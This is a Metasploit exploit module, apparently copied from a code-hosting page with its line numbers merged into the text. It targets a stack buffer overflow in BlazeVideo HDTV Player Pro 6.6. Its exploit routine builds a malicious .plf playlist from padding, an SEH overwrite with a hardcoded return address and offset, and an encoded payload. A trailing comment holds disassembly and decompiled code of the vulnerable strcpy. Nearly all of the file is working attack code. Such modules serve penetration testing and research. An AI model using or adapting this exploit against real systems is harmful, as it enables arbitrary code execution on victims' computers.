Path: blob/master/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => "BlazeVideo HDTV Player Pro v6.6 Filename Handling Vulnerability",16'Description' => %q{17This module exploits a vulnerability found in BlazeVideo HDTV Player's filename18handling routine. When supplying a string of input data embedded in a .plf file,19the MediaPlayerCtrl.dll component will try to extract a filename by using20PathFindFileNameA(), and then copies whatever the return value is on the stack by21using an inline strcpy. As a result, if this input data is long enough, it can cause22a stack-based buffer overflow, which may lead to arbitrary code execution under the23context of the user.24},25'License' => MSF_LICENSE,26'Author' => [27'b33f', # Original28'sinn3r' # Metasploit29],30'References' => [31['OSVDB', '80896'],32['EDB', '18693'],33['EDB', '22931']34],35'Payload' => {36'BadChars' => "\x00\x0a\x1a\x2f\x3a\x5c",37'StackAdjustment' => -350038},39'DefaultOptions' => {40'EXITFUNC' => 'thread'41},42'Platform' => 'win',43'Targets' => [44# MediaPlayerCtrl.dll P/P/R45# Tested on: Windows 7 SP1/SP0, Windows XP SP3 / Windows Vista SP2/SP1/SP046['BlazeVideo HDTV Player Pro v6.6.0.3', { 'Ret' => 0x64020327, 'Offset' => 868 }]47],48'Privileged' => false,49'DisclosureDate' => '2012-04-03',50'DefaultTarget' => 0,51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)5859register_options(60[61OptString.new('FILENAME', [ false, 'The file name.', 'msf.plf'])62]63)64end6566def exploit67buf = 'http://'68buf << rand_text_alpha_upper(target['Offset'])69buf << generate_seh_record(target.ret)70buf << payload.encoded71buf << rand_text_alpha(5000 - buf.length)7273print_status("Creating '#{datastore['FILENAME']}'...")74file_create(buf)75end76end7778=begin79Version: HDTV Player Professional v6.68081In MediaPlayerCtrl.dll (File version: 2.0.0.2; Product version: 2.0.0.2)82.text:6400E574 mov eax, [esp+138h+Source]83.text:6400E578 mov edx, [ebp+0ECh]84.text:6400E57E push eax85.text:6400E57F push eax ; pszPath <-- Our URL86.text:6400E580 mov edi, [edx]87.text:6400E582 call ebx ; PathFindFileNameA88.text:6400E584 mov ecx, [ebp+0ECh]89.text:6400E58A push eax ; File path to copy90.text:6400E58B push esi91.text:6400E58C push 192.text:6400E58E call dword ptr [edi] ; 0x6400f1f093940x6400F1F0 (no length check either) goes down to 0x6400F670:9596int __thiscall sub_6400F670(int this, int a2, int a3, const char *source, const char *a5)97{98...99100v5 = this;101if ( a2 && source && a5 )102{103memset(&buffer, 0, '\x02\x10');104v16 = *(this + 4);105*(this + 4) = v16 + 1;106v18 = a3;107buffer = a2;108strcpy(&Dest2, source); // <-- This is a rep movs109=end110111112